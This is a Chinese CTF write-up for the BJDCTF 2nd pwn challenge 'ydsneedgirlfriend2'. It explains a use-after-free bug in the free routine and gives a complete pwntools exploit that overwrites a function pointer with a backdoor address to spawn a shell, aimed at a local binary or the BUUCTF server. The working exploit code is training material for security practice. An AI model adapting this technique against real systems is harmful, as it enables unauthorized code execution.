[BJDCTF 2nd]ydsneedgirlfriend2_一看就会....

目录

    • 文件信息
    • IDA截图
    • 漏洞点
    • 总结点
    • EXP1

文件信息

[BJDCTF 2nd]ydsneedgirlfriend2_一看就会...._第1张图片

IDA截图

  • add
    [BJDCTF 2nd]ydsneedgirlfriend2_一看就会...._第2张图片
  • delete
    [BJDCTF 2nd]ydsneedgirlfriend2_一看就会...._第3张图片
  • free
    [BJDCTF 2nd]ydsneedgirlfriend2_一看就会...._第4张图片

漏洞点

[BJDCTF 2nd]ydsneedgirlfriend2_一看就会...._第5张图片

  • 在free函数的时候,存在着UAF漏洞,只是free掉了指针个context,但是没有置为NULL

总结点

  • 如何利用:将puts指针修改为后门函数,getshell。
  • 出错点:第一次在使用system函数的时候,将地址/bin/sh(0x400D96)开始的地址。在本地可以getshell,但是远程失败了。
    [BJDCTF 2nd]ydsneedgirlfriend2_一看就会...._第6张图片

EXP1

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
local = 1
if local:
    p = process("./ydsneedgirlfriend2")
else:
    p= remote('node3.buuoj.cn',26040)

def add(size,context):
    p.recvuntil("u choice :\n")
    p.sendline(str(1))
    p.recvuntil("Please input the length of her name:\n")
    p.sendline(str(size))
    p.recvuntil("Please tell me her name:\n")
    p.sendline(context)

def delete(index):
    p.recvuntil("u choice :\n")
    p.sendline(str(2))
    p.recvuntil("Index :")
    p.sendline(str(index))


def show(index):
    p.recvuntil("u choice :\n")
    p.sendline(str(3))
    p.recvuntil("Index :")
    p.sendline(str(index))

#----
system_sh_addr = 0x400D86
#----

def pwn():
    add(0x30,"aaaa")  #0 #这里创建多大的chunk都可以,最好是大于0x20,减少后面申请chunk。
    delete(0)
    add(0x10,p64(system_sh_addr)*2)
    #pause()
    show(0)

    p.interactive()
    
if __name__ == "__main__":
    pwn()



你可能感兴趣的:(#,BUUCTF_pwn)